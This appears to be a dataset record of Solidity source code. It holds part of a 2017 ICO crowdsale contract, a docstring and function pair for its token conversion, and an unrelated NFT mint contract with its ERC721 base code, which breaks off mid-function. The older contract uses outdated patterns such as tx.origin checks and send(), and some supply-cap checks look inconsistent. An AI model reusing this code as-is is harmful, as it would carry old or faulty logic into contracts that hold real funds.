VolumeMultiplier(_volumeMultiplierRates[i], _volumeMultiplierLockupPeriods[i]); } } /** * After calling the deploy function the crowdsale * rules become immutable */ function deploy() public only_owner at_stage(Stages.Deploying) { require(phases.length > 0); require(stakeholderPercentagesIndex.length > 0); stage = Stages.Deployed; } /** * Deploy a contract that serves as a proxy to * the crowdsale * * @return The address of the deposit address */ function createDepositAddress() public returns (address) { address proxy = new CrowdsaleProxy(msg.sender, this); ProxyCreated(proxy, msg.sender); return proxy; } /** * Deploy a contract that serves as a proxy to * the crowdsale * * @param _beneficiary The owner of the proxy * @return The address of the deposit address */ function createDepositAddressFor(address _beneficiary) public returns (address) { address proxy = new CrowdsaleProxy(_beneficiary, this); ProxyCreated(proxy, _beneficiary); return proxy; } /** * Deploy a contract that serves as a proxy to * the crowdsale * * Contributions through this address will be made * for msg.sender * * @return The address of the deposit address */ function createPersonalDepositAddress() public returns (address) { address proxy = new PersonalCrowdsaleProxy(msg.sender, this); ProxyCreated(proxy, msg.sender); return proxy; } /** * Deploy a contract that serves as a proxy to * the crowdsale * * Contributions through this address will be made * for `_beneficiary` * * @param _beneficiary The owner of the proxy * @return The address of the deposit address */ function createPersonalDepositAddressFor(address _beneficiary) public returns (address) { address proxy = new PersonalCrowdsaleProxy(_beneficiary, this); ProxyCreated(proxy, _beneficiary); return proxy; } /** * Prove that beneficiary is able to sign transactions * and start the crowdsale */ function confirmBeneficiary() public only_beneficiary at_stage(Stages.Deployed) { stage = Stages.InProgress; } /** * Returns true if the contract is currently in the presale phase * * @return True if in presale phase */ function isInPresalePhase() public view returns (bool) { return stage == Stages.InProgress && now >= start && now <= presaleEnd; } /** * Returns true if the contract is currently in the ended stage * * @return True if ended */ function isEnded() public view returns (bool) { return stage == Stages.Ended; } /** * Returns true if `_beneficiary` has a balance allocated * * @param _beneficiary The account that the balance is allocated for * @param _releaseDate The date after which the balance can be withdrawn * @return True if there is a balance that belongs to `_beneficiary` */ function hasBalance(address _beneficiary, uint _releaseDate) public view returns (bool) { return allocatedIndex[_beneficiary].length > 0 && _releaseDate == allocatedIndex[_beneficiary][allocated[_beneficiary][_releaseDate].index]; } /** * Get the allocated token balance of `_owner` * * @param _owner The address from which the allocated token balance will be retrieved * @return The allocated token balance */ function balanceOf(address _owner) public view returns (uint) { uint sum = 0; for (uint i = 0; i < allocatedIndex[_owner].length; i++) { sum += allocated[_owner][allocatedIndex[_owner][i]].tokens; } return sum; } /** * Get the allocated eth balance of `_owner` * * @param _owner The address from which the allocated eth balance will be retrieved * @return The allocated eth balance */ function ethBalanceOf(address _owner) public view returns (uint) { uint sum = 0; for (uint i = 0; i < allocatedIndex[_owner].length; i++) { sum += allocated[_owner][allocatedIndex[_owner][i]].eth; } return sum; } /** * Get invested and refundable balance of `_owner` (only contributions during the ICO phase are registered) * * @param _owner The address from which the refundable balance will be retrieved * @return The invested refundable balance */ function refundableEthBalanceOf(address _owner) public view returns (uint) { return now > crowdsaleEnd && raised < minAmount ? balances[_owner] : 0; } /** * Returns the current phase based on the current time * * @return The index of the current phase */ function getCurrentPhase() public view returns (uint) { for (uint i = 0; i < phases.length; i++) { if (now <= phases[i].end) { return i; break; } } return uint(-1); // Does not exist (underflow) } /** * Returns the rate and bonus release date * * @param _phase The phase to use while determining the rate * @param _volume The amount wei used to determin what volume multiplier to use * @return The rate used in `_phase` multiplied by the corresponding volume multiplier */ function getRate(uint _phase, uint _volume) public view returns (uint) { uint rate = 0; if (stage == Stages.InProgress && now >= start) { Phase storage phase = phases[_phase]; rate = phase.rate; // Find volume multiplier if (phase.useVolumeMultiplier && volumeMultiplierThresholds.length > 0 && _volume >= volumeMultiplierThresholds[0]) { for (uint i = volumeMultiplierThresholds.length; i > 0; i--) { if (_volume >= volumeMultiplierThresholds[i - 1]) { VolumeMultiplier storage multiplier = volumeMultipliers[volumeMultiplierThresholds[i - 1]]; rate += phase.rate * multiplier.rateMultiplier / percentageDenominator; break; } } } } return rate; } /** * Get distribution data based on the current phase and * the volume in wei that is being distributed * * @param _phase The current crowdsale phase * @param _volume The amount wei used to determine what volume multiplier to use * @return Volumes and corresponding release dates */ function getDistributionData(uint _phase, uint _volume) internal view returns (uint[], uint[]) { Phase storage phase = phases[_phase]; uint remainingVolume = _volume; bool usingMultiplier = false; uint[] memory volumes = new uint[](1); uint[] memory releaseDates = new uint[](1); // Find volume multipliers if (phase.useVolumeMultiplier && volumeMultiplierThresholds.length > 0 && _volume >= volumeMultiplierThresholds[0]) { uint phaseReleasePeriod = phase.bonusReleaseDate - crowdsaleEnd; for (uint i = volumeMultiplierThresholds.length; i > 0; i--) { if (_volume >= volumeMultiplierThresholds[i - 1]) { if (!usingMultiplier) { volumes = new uint[](i + 1); releaseDates = new uint[](i + 1); usingMultiplier = true; } VolumeMultiplier storage multiplier = volumeMultipliers[volumeMultiplierThresholds[i - 1]]; uint releaseDate = phase.bonusReleaseDate + phaseReleasePeriod * multiplier.bonusReleaseDateMultiplier / percentageDenominator; uint volume = remainingVolume - volumeMultiplierThresholds[i - 1]; // Store increment volumes[i] = volume; releaseDates[i] = releaseDate; remainingVolume -= volume; } } } // Store increment volumes[0] = remainingVolume; releaseDates[0] = phase.bonusReleaseDate; return (volumes, releaseDates); } /** * Convert `_wei` to an amount in tokens using * the `_rate` * * @param _wei amount of wei to convert * @param _rate rate to use for the conversion * @return Amount in tokens */ function toTokens(uint _wei, uint _rate) public view returns (uint) { return _wei * _rate * tokenDenominator / 1 ether; } /** * Receive Eth and issue tokens to the sender * * This function requires that msg.sender is not a contract. This is required because it's * not possible for a contract to specify a gas amount when calling the (internal) send() * function. Solidity imposes a maximum amount of gas (2300 gas at the time of writing) * * Contracts can call the contribute() function instead */ function () public payable { require(msg.sender == tx.origin); _handleTransaction(msg.sender, msg.value); } /** * Receive ether and issue tokens to the sender * * @return The accepted ether amount */ function contribute() public payable returns (uint) { return _handleTransaction(msg.sender, msg.value); } /** * Receive ether and issue tokens to `_beneficiary` * * @param _beneficiary The account that receives the tokens * @return The accepted ether amount */ function contributeFor(address _beneficiary) public payable returns (uint) { return _handleTransaction(_beneficiary, msg.value); } /** * Function to end the crowdsale by setting * the stage to Ended */ function endCrowdsale() public at_stage(Stages.InProgress) { require(now > crowdsaleEnd || raised >= maxAmount); require(raised >= minAmount); stage = Stages.Ended; // Unlock token if (!token.unlock()) { revert(); } // Allocate tokens (no allocation can be done after this period) uint totalTokenSupply = IToken(token).totalSupply() + allocatedTokens; for (uint i = 0; i < stakeholdersPayouts.length; i++) { Payout storage p = stakeholdersPayouts[i]; _allocateStakeholdersTokens(totalTokenSupply * p.percentage / percentageDenominator, now + p.vestingPeriod); } // Allocate remaining ETH _allocateStakeholdersEth(this.balance - allocatedEth, 0); } /** * Withdraw allocated tokens */ function withdrawTokens() public { uint tokensToSend = 0; for (uint i = 0; i < allocatedIndex[msg.sender].length; i++) { uint releaseDate = allocatedIndex[msg.sender][i]; if (releaseDate <= now) { Balance storage b = allocated[msg.sender][releaseDate]; tokensToSend += b.tokens; b.tokens = 0; } } if (tokensToSend > 0) { allocatedTokens -= tokensToSend; if (!token.issue(msg.sender, tokensToSend)) { revert(); } } } /** * Withdraw allocated ether */ function withdrawEther() public { uint ethToSend = 0; for (uint i = 0; i < allocatedIndex[msg.sender].length; i++) { uint releaseDate = allocatedIndex[msg.sender][i]; if (releaseDate <= now) { Balance storage b = allocated[msg.sender][releaseDate]; ethToSend += b.eth; b.eth = 0; } } if (ethToSend > 0) { allocatedEth -= ethToSend; if (!msg.sender.send(ethToSend)) { revert(); } } } /** * Refund in the case of an unsuccessful crowdsale. The * crowdsale is considered unsuccessful if minAmount was * not raised before end of the crowdsale */ function refund() public only_after_crowdsale at_stage(Stages.InProgress) { require(raised < minAmount); uint receivedAmount = balances[msg.sender]; balances[msg.sender] = 0; if (receivedAmount > 0 && !msg.sender.send(receivedAmount)) { balances[msg.sender] = receivedAmount; } } /** * Failsafe and clean-up mechanism */ function destroy() public only_beneficiary only_after(2 years) { selfdestruct(beneficiary); } /** * Handle incoming transaction * * @param _beneficiary Tokens are issued to this account * @param _received The amount that was received * @return The accepted ether amount */ function _handleTransaction(address _beneficiary, uint _received) internal at_stage(Stages.InProgress) returns (uint) { require(now >= start && now <= crowdsaleEnd); require(isAcceptedContributor(_beneficiary)); if (isInPresalePhase()) { return _handlePresaleTransaction( _beneficiary, _received); } else { return _handlePublicsaleTransaction( _beneficiary, _received); } } /** * Handle incoming transaction during the presale phase * * @param _beneficiary Tokens are issued to this account * @param _received The amount that was received * @return The accepted ether amount */ function _handlePresaleTransaction(address _beneficiary, uint _received) private returns (uint) { require(_received >= minAcceptedAmountPresale); require(raised < maxAmountPresale); uint acceptedAmount; if (raised + _received > maxAmountPresale) { acceptedAmount = maxAmountPresale - raised; } else { acceptedAmount = _received; } raised += acceptedAmount; // During the presale phase - Non refundable _allocateStakeholdersEth(acceptedAmount, 0); // Issue tokens _distributeTokens(_beneficiary, _received, acceptedAmount); return acceptedAmount; } /** * Handle incoming transaction during the publicsale phase * * @param _beneficiary Tokens are issued to this account * @param _received The amount that was received * @return The accepted ether amount */ function _handlePublicsaleTransaction(address _beneficiary, uint _received) private returns (uint) { require(_received >= minAcceptedAmount); require(raised >= minAmountPresale); require(raised < maxAmount); uint acceptedAmount; if (raised + _received > maxAmount) { acceptedAmount = maxAmount - raised; } else { acceptedAmount = _received; } raised += acceptedAmount; // During the ICO phase - 100% refundable balances[_beneficiary] += acceptedAmount; // Issue tokens _distributeTokens(_beneficiary, _received, acceptedAmount); return acceptedAmount; } /** * Distribute tokens * * Tokens can be issued by instructing the token contract to create new tokens or by * allocating tokens and instructing the token contract to create the tokens later * * @param _beneficiary Tokens are issued to this account * @param _received The amount that was received * @param _acceptedAmount The amount that was accepted */ function _distributeTokens(address _beneficiary, uint _received, uint _acceptedAmount) private { uint tokensToIssue = 0; uint phase = getCurrentPhase(); var rate = getRate(phase, _acceptedAmount); if (rate == 0) { revert(); // Paused phase } // Volume multipliers var (volumes, releaseDates) = getDistributionData( phase, _acceptedAmount); // Allocate tokens for (uint i = 0; i < volumes.length; i++) { var tokensAtCurrentRate = toTokens(volumes[i], rate); if (rate > baseRate && releaseDates[i] > now) { uint bonusTokens = tokensAtCurrentRate * (rate - baseRate) / rate; _allocateTokens(_beneficiary, bonusTokens, releaseDates[i]); tokensToIssue += tokensAtCurrentRate - bonusTokens; } else { tokensToIssue += tokensAtCurrentRate; } } // Issue tokens if (tokensToIssue > 0 && !token.issue(_beneficiary, tokensToIssue)) { revert(); } // Refund due to max cap hit if (_received - _acceptedAmount > 0 && !_beneficiary.send(_received - _acceptedAmount)) { revert(); } } /** * Allocate ETH * * @param _beneficiary The account to alocate the eth for * @param _amount The amount of ETH to allocate * @param _releaseDate The date after which the eth can be withdrawn */ function _allocateEth(address _beneficiary, uint _amount, uint _releaseDate) internal { if (hasBalance(_beneficiary, _releaseDate)) { allocated[_beneficiary][_releaseDate].eth += _amount; } else { allocated[_beneficiary][_releaseDate] = Balance( _amount, 0, allocatedIndex[_beneficiary].push(_releaseDate) - 1); } allocatedEth += _amount; } /** * Allocate Tokens * * @param _beneficiary The account to allocate the tokens for * @param _amount The amount of tokens to allocate * @param _releaseDate The date after which the tokens can be withdrawn */ function _allocateTokens(address _beneficiary, uint _amount, uint _releaseDate) internal { if (hasBalance(_beneficiary, _releaseDate)) { allocated[_beneficiary][_releaseDate].tokens += _amount; } else { allocated[_beneficiary][_releaseDate] = Balance( 0, _amount, allocatedIndex[_beneficiary].push(_releaseDate) - 1); } allocatedTokens += _amount; } /** * Allocate ETH for stakeholders * * @param _amount The amount of ETH to allocate * @param _releaseDate The date after which the eth can be withdrawn */ function _allocateStakeholdersEth(uint _amount, uint _releaseDate) internal { for (uint i = 0; i < stakeholderPercentagesIndex.length; i++) { Percentage storage p = stakeholderPercentages[stakeholderPercentagesIndex[i]]; if (p.eth > 0) { _allocateEth(stakeholderPercentagesIndex[i], _amount * p.eth / percentageDenominator, _releaseDate); } } } /** * Allocate Tokens for stakeholders * * @param _amount The amount of tokens created * @param _releaseDate The date after which the tokens can be withdrawn (unless overwitten) */ function _allocateStakeholdersTokens(uint _amount, uint _releaseDate) internal { for (uint i = 0; i < stakeholderPercentagesIndex.length; i++) { Percentage storage p = stakeholderPercentages[stakeholderPercentagesIndex[i]]; if (p.tokens > 0) { _allocateTokens( stakeholderPercentagesIndex[i], _amount * p.tokens / percentageDenominator, p.overwriteReleaseDate ? p.fixedReleaseDate : _releaseDate); } } } } /** * KATXCrowdsale * * BitcoinATMs for Everyone * * With KriptoATM now everyone has access to Bitcoin, Ethereum, and a wide range of other cryptocurrencies. We let you * bring crypto to new places - with our innovative new features, state-of-the-art technology and our simple-to-use approach. * * #created 10/11/2017 * #author Frank Bonnet */ contract KATXCrowdsale is Crowdsale, TokenRetriever, IAuthenticationManager, IWingsAdapter { // Authentication IAuthenticator private authenticator; bool private requireAuthentication; /** * Setup authentication * * @param _authenticator The address of the authenticator (whitelist) * @param _requireAuthentication Wether the crowdale requires contributors to be authenticated */ function setupAuthentication(address _authenticator, bool _requireAuthentication) public only_owner at_stage(Stages.Deploying) { authenticator = IAuthenticator(_authenticator); requireAuthentication = _requireAuthentication; } /** * Returns true if `_member` is allowed to contribute * * @param _member Account that is being validated * @return Wheter the DCORP is accepted or not */ function isAcceptedDcorpMember(address _member) public view returns (bool) { return isAcceptedContributor(_member); } /** * Receive a contribution from a DCORP member * * @param _member Account that is contributing */ function contributeForDcorpMember(address _member) public payable { _handleTransaction(_member, msg.value); } /** * Wings integration - Get the total raised amount of Ether * * Can only increased, means if you withdraw ETH from the wallet, should be not modified (you can use two fields * to keep one with a total accumulated amount) amount of ETH in contract and totalCollected for total amount of ETH collected * * @return Total raised Ether amount */ function totalCollected() public view returns (uint) { return raised; } /** * Returns true if authentication is enabled and false * otherwise * * @return Whether the converter is currently authenticating or not */ function isAuthenticating() public view returns (bool) { return requireAuthentication; } /** * Enable authentication */ function enableAuthentication() public only_owner { requireAuthentication = true; } /** * Disable authentication */ function disableAuthentication() public only_owner { requireAuthentication = false; } /** * Allows the implementing contract to validate a * contributing account * * @param _contributor Address that is being validated * @return Wheter the contributor is accepted or not */ function isAcceptedContributor(address _contributor) internal view returns (bool) { return !requireAuthentication || authenticator.authenticate(_contributor); } /** * Failsafe mechanism * * Allows the owner to retrieve tokens from the contract that * might have been send there by accident * * @param _tokenContract The address of ERC20 compatible token */ function retrieveTokens(address _tokenContract) public only_owner { super.retrieveTokens(_tokenContract); // Retrieve tokens from our token contract ITokenRetriever(token).retrieveTokens(_tokenContract); } }
Convert `_wei` to an amount in tokens using the `_rate` _wei amount of wei to convert _rate rate to use for the conversion return Amount in tokens/
function toTokens(uint _wei, uint _rate) public view returns (uint) { return _wei * _rate * tokenDenominator / 1 ether; }
5,403,367
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /**************************************** * @author: squeebo_nft * * @team: GoldenX * **************************************** * Blimpie-ERC721 provides low-gas * * mints + transfers * ****************************************/ import './Blimpie/Delegated.sol'; import './Blimpie/ERC721EnumerableB.sol'; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; interface IERC721Proxy{ function balanceOf( address account ) external view returns ( uint quantity ); function ownerOf( uint tokenId ) external view returns ( address owner ); } interface IPPL20{ function burnFromAccount( address account, uint pineapples ) external; function burnFromTokens( address[] calldata tokenContracts, uint[] calldata tokenIds, uint pineapples ) external; } contract SupLadies is Delegated, ERC721EnumerableB, PaymentSplitter { using Strings for uint; uint public MAX_ORDER = 19; uint public MAX_SUPPLY = 3914; uint public MAX_VOUCHERS = 1957; uint public ETH_PRICE = 0.1957 ether; uint public PPL_PRICE = 19.57 ether; bool public isMintActive = false; bool public isPineapplesActive = false; bool public isVoucherMintActive = false; bool public isVoucherUseActive = false; address public ahmcAddress = 0x61DB9Dde04F78fD55B0B4331a3d148073A101850; address public artwAddress = 0x22d202872950782012baC53346EE3DaE3D78E0CB; address public pineapplesAddress = 0x3e51F6422e41915e96A0808d21Babb83bcd278e5; mapping(address => uint) public vouchers; uint public voucherCount; string private _tokenURIPrefix; string private _tokenURISuffix; address[] private addressList = [ 0x13d86B7a637B9378d3646FA50De24e4e8fd78393, 0xc9241a5e35424a927536D0cA30C4687852402bCB, 0xB7edf3Cbb58ecb74BdE6298294c7AAb339F3cE4a ]; uint[] private shareList = [ 57, 35, 8 ]; constructor() Delegated() ERC721B("SupLadies", "SL", 0) PaymentSplitter( addressList, shareList ){ } //external function tokenURI(uint tokenId) external view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return string(abi.encodePacked(_tokenURIPrefix, tokenId.toString(), _tokenURISuffix)); } fallback() external payable {} function mint( uint quantity ) external payable { require( isMintActive, "ETH sale is not active" ); require( quantity <= MAX_ORDER, "Order too big" ); require( msg.value >= ETH_PRICE * quantity, "Ether sent is not correct" ); uint256 supply = totalSupply(); require( supply + quantity <= MAX_SUPPLY, "Mint/order exceeds supply" ); for(uint i; i < quantity; ++i){ _safeMint( msg.sender, supply++, "" ); } } function mintWithPineapplesAccount( uint quantity ) external { require( isPineapplesActive, "Pineapple sale is not active" ); require( quantity <= MAX_ORDER, "Order too big" ); uint256 supply = totalSupply(); require( supply + quantity <= MAX_SUPPLY, "Order exceeds supply" ); _requireBalances(); uint totalPineapples = PPL_PRICE * quantity; IPPL20( pineapplesAddress ).burnFromAccount( msg.sender, totalPineapples); for(uint i; i < quantity; ++i){ _safeMint( msg.sender, supply++, "" ); } } function mintWithPineapplesTokens( uint quantity, address[] calldata tokenContracts, uint[] calldata tokenIds ) external { require( isPineapplesActive, "Pineapple sale is not active" ); require( quantity <= MAX_ORDER, "Order too big" ); uint256 supply = totalSupply(); require( supply + quantity <= MAX_SUPPLY, "Order exceeds supply" ); _requireBalances(); _requireOwnership( tokenContracts, tokenIds ); uint totalPineapples = PPL_PRICE * quantity; IPPL20( pineapplesAddress ).burnFromTokens(tokenContracts, tokenIds, totalPineapples); for(uint i; i < quantity; ++i){ _safeMint( msg.sender, supply++, "" ); } } function mintVouchersFromAccount( uint quantity ) external { require( isVoucherMintActive, "Voucher sale is not active" ); require( quantity <= MAX_ORDER, "Order too big" ); uint256 supply = totalSupply(); require( supply + quantity <= MAX_SUPPLY, "Order exceeds supply" ); require( voucherCount + quantity <= MAX_VOUCHERS, "Order exceeds supply" ); _requireBalances(); uint totalPineapples = PPL_PRICE * quantity; IPPL20( pineapplesAddress ).burnFromAccount( msg.sender, totalPineapples); voucherCount += quantity; vouchers[ msg.sender ] += quantity; } function mintVouchersFromTokens( uint quantity, address[] calldata tokenContracts, uint[] calldata tokenIds ) external { require( isVoucherMintActive, "Voucher sale is not active" ); require( quantity <= MAX_ORDER, "Order too big" ); uint256 supply = totalSupply(); require( supply + quantity <= MAX_SUPPLY, "Order exceeds supply" ); require( voucherCount + quantity <= MAX_VOUCHERS, "Order exceeds supply" ); _requireBalances(); _requireOwnership( tokenContracts, tokenIds ); uint totalPineapples = PPL_PRICE * quantity; IPPL20( pineapplesAddress ).burnFromTokens(tokenContracts, tokenIds, totalPineapples); voucherCount += quantity; vouchers[ msg.sender ] += quantity; } function useVouchers( uint quantity ) external { require( isVoucherUseActive, "Voucher mint is not active" ); require( quantity <= MAX_ORDER, "Order too big" ); uint256 supply = totalSupply(); require( supply + quantity <= MAX_SUPPLY, "Order exceeds supply" ); require( quantity <= vouchers[ msg.sender ], "Order exceeds vouchers" ); voucherCount -= quantity; vouchers[ msg.sender ] -= quantity; for(uint i = 0; i < quantity; ++i){ _safeMint( msg.sender, supply++, "" ); } } //onlyDelegates function mintTo(uint[] calldata quantity, address[] calldata recipient) external payable onlyDelegates{ require(quantity.length == recipient.length, "Must provide equal quantities and recipients" ); uint totalQuantity = 0; uint256 supply = totalSupply(); for(uint i = 0; i < quantity.length; ++i){ totalQuantity += quantity[i]; } require( supply + totalQuantity < MAX_SUPPLY, "Mint/order exceeds supply" ); for(uint i; i < recipient.length; ++i){ for(uint j; j < quantity[i]; ++j){ _safeMint( recipient[i], supply++, "" ); } } } function mintVouchersTo(uint[] calldata quantity, address[] calldata recipient) external payable onlyDelegates{ require(quantity.length == recipient.length, "Must provide equal quantities and recipients" ); uint totalQuantity = 0; uint256 supply = totalSupply(); for(uint i = 0; i < quantity.length; ++i){ totalQuantity += quantity[i]; } require( supply + totalQuantity < MAX_VOUCHERS, "Vouchers exceeds supply" ); for(uint i; i < recipient.length; ++i){ voucherCount += quantity[i]; vouchers[ recipient[i] ] += quantity[i]; } } function setActive(bool isActive_, bool isPineapplesActive_, bool isVoucherMintActive_, bool isVoucherUseActive_) external onlyDelegates{ require( isMintActive != isActive_ || isPineapplesActive != isPineapplesActive_ || isVoucherMintActive != isVoucherMintActive_ || isVoucherUseActive != isVoucherUseActive_, "New value matches old" ); isMintActive = isActive_; isPineapplesActive = isPineapplesActive_; isVoucherMintActive = isVoucherMintActive_; isVoucherUseActive = isVoucherUseActive_; } function setBaseURI(string calldata prefix, string calldata suffix) external onlyDelegates{ _tokenURIPrefix = prefix; _tokenURISuffix = suffix; } function setContracts(address pineapplesAddress_, address ahmcAddress_, address artwAddress_ ) external onlyDelegates { pineapplesAddress = pineapplesAddress_; ahmcAddress = ahmcAddress_; artwAddress = artwAddress_; } function setMaxSupply(uint maxOrder, uint maxSupply, uint maxVouchers) external onlyDelegates{ require( MAX_ORDER != maxOrder || MAX_SUPPLY != maxSupply || MAX_VOUCHERS != maxVouchers, "New value matches old" ); require( maxSupply >= totalSupply(), "Specified supply is lower than current balance" ); MAX_ORDER = maxOrder; MAX_SUPPLY = maxSupply; MAX_VOUCHERS = maxVouchers; } function setPrice(uint ethPrice, uint pplPrice ) external onlyDelegates{ require( ETH_PRICE != ethPrice || PPL_PRICE != pplPrice, "New value matches old" ); ETH_PRICE = ethPrice; PPL_PRICE = pplPrice; } //private function _requireBalances() private view { uint ahmc = IERC721( ahmcAddress ).balanceOf( msg.sender ); if( ahmc >= 2 ) return; uint artw = IERC721( artwAddress ).balanceOf( msg.sender ); if( artw >= 11 ) return; if( ahmc > 0 && artw >= 5 ) return; revert( "Not enough AHMC/ARTW tokens" ); } function _requireOwnership( address[] calldata tokenContracts, uint[] calldata tokenIds ) private view { for( uint i; i < tokenContracts.length; ++i ){ require( msg.sender == IERC721( tokenContracts[i] ).ownerOf( tokenIds[i] ), "Invalid owner of token" ); } } } // SPDX-License-Identifier: BSD-3-Clause pragma solidity ^0.8.0; interface IBatch { function isOwnerOf( address account, uint[] calldata tokenIds ) external view returns( bool ); function transferBatch( address from, address to, uint[] calldata tokenIds, bytes calldata data ) external; function walletOfOwner( address account ) external view returns( uint[] memory ); } // SPDX-License-Identifier: BSD-3-Clause pragma solidity ^0.8.0; import "./ERC721B.sol"; import "./IBatch.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721EnumerableB is ERC721B, IBatch, IERC721Enumerable { mapping(address => uint[]) internal _balances; function balanceOf(address owner) public view virtual override(ERC721B,IERC721) returns (uint) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner].length; } function isOwnerOf( address account, uint[] calldata tokenIds ) external view override returns( bool ){ for(uint i; i < tokenIds.length; ++i ){ if( _owners[ tokenIds[i] ] != account ) return false; } return true; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721B) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint index) public view virtual override returns (uint tokenId) { require(index < ERC721B.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _balances[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint) { return _owners.length - _offset; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint index) public view virtual override returns (uint) { require(index < totalSupply(), "ERC721Enumerable: global index out of bounds"); return index + _offset; } function walletOfOwner( address account ) external view override returns( uint[] memory ){ return _balances[ account ]; } function transferBatch( address from, address to, uint[] calldata tokenIds, bytes calldata data ) external override{ for(uint i; i < tokenIds.length; ++i ){ safeTransferFrom( from, to, tokenIds[i], data ); } } //internal function _beforeTokenTransfer( address from, address to, uint tokenId ) internal override virtual { address zero = address(0); if( from != zero ){ //find this token and remove it uint length = _balances[from].length; for( uint i; i < length; ++i ){ if( _balances[from][i] == tokenId ){ _balances[from][i] = _balances[from][length - 1]; _balances[from].pop(); break; } } } if( to != zero ) _balances[to].push( tokenId ); } } // SPDX-License-Identifier: BSD-3-Clause pragma solidity ^0.8.0; /******************** * @author: Squeebo * ********************/ import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; abstract contract ERC721B is Context, ERC165, IERC721, IERC721Metadata { using Address for address; string private _name; string private _symbol; uint internal _offset; // Mapping from token ID to owner address address[] internal _owners; // Mapping from token ID to approved address mapping(uint => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_, uint offset) { _name = name_; _symbol = symbol_; _offset = offset; for(uint i; i < _offset; ++i ){ _owners.push(address(0)); } } //public function balanceOf(address owner) public view virtual override returns (uint) { require(owner != address(0), "ERC721: balance query for the zero address"); uint count = 0; uint length = _owners.length; for( uint i = 0; i < length; ++i ){ if( owner == _owners[i] ) ++count; } return count; } function name() public view virtual override returns (string memory) { return _name; } function next() public view returns( uint ){ return _owners.length; } function ownerOf(uint tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function symbol() public view virtual override returns (string memory) { return _symbol; } function approve(address to, uint tokenId) public virtual override { address owner = ERC721B.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } //internal function _safeTransfer( address from, address to, uint tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721B.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } function _burn(uint tokenId) internal virtual { address owner = ERC721B.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint tokenId ) internal virtual { require(ERC721B.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721B.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint tokenId, bytes memory _data ) private returns (bool) { if 